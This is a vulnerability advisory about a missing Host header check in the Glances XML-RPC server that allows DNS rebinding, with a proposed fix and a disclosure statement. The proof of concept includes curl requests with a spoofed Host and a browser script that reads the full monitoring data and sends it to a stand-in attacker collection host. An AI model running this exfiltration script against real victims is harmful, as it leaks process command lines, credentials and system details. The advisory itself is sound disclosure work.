Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack

# glances_mcp.py
TransportSecuritySettings(
    allowed_hosts=self.mcp_allowed_hosts,
    ...
)

XML-RPC server (glances/server.py) — no equivalent exists:

class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
    # No Host header check; any Host value is accepted
    rpc_paths = ('/RPC2',)
    ...

There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

PoC

Attack overview

DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.

Special configuration required

No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").

Step 1 — Start the Glances XML-RPC server

glances -s -p 61209

Step 2 — Confirm the server accepts an arbitrary Host header

curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
     -H "Host: attacker.example.com" \
     -H "Content-Type: text/plain" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.

Step 3 — Confirm the REST API is patched (comparison)

# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210

curl -s -o /dev/null -w "%{http_code}\n" \
     "http://127.0.0.1:61210/api/4/status" \
     -H "Host: attacker.example.com"
# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)

Step 4 — Full DNS rebinding exploitation (real-world path)

1. Attacker registers attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.
2. Attacker serves the following page from http://attacker.example.com:

<script>
async function exfil() {
  const payload = `<?xml version="1.0"?>
    <methodCall><methodName>getAll</methodName></methodCall>`;
  try {
    const r = await fetch('http://attacker.example.com:61209/RPC2', {
      method:  'POST',
      headers: { 'Content-Type': 'text/plain' },
      body:    payload,
    });
    const data = await r.text();
    // data contains: hostname, OS, all processes with cmd-lines, network, disk
    await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
  } catch (_) {}
}

// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>

3. Victim visits http://attacker.example.com in their browser.
4. After TTL expiry, the attacker's DNS server responds with 127.0.0.1.
5. The browser's fetch() call is sent to 127.0.0.1:61209 with Host: attacker.example.com; the XML-RPC server accepts it.
6. The Access-Control-Allow-Origin: * header (see companion advisory) allows the browser to read the response body.
7. The attacker receives the complete system monitoring snapshot.

Tools that simplify DNS rebinding for research/testing include:

• Singularity
• rbndr.us

Step 5 — Confirm absence of Host check in source

import sys, inspect
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
import glances.server as s

src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False

Impact

Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)

Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:

• Glances is bound to 127.0.0.1 (loopback) — DNS rebinding bypasses the loopback restriction.
• Glances is bound to a LAN IP — any browser on that LAN is at risk.
• Glances is exposed on a public IP — any browser on the internet is at risk.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.

Impact:

• Confidentiality: High — complete system monitoring data readable remotely without credentials.
• Integrity: None — read-only XML-RPC API.
• Availability: None — no denial-of-service component.

The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.

Suggested Fix

Option 1 — Add Host validation to the XML-RPC handler (preferred)

Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:

# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):

    allowed_hosts: list[str] = []   # populated from config

    def parse_request(self) -> bool:
        if not super().parse_request():
            return False
        if self.allowed_hosts:
            host = self.headers.get('Host', '').split(':')[0]
            if host not in self.allowed_hosts:
                self.send_error(400, 'Bad Request: invalid Host header')
                return False
        return True

Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.

Option 2 — Deprecate and remove the XML-RPC server

The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.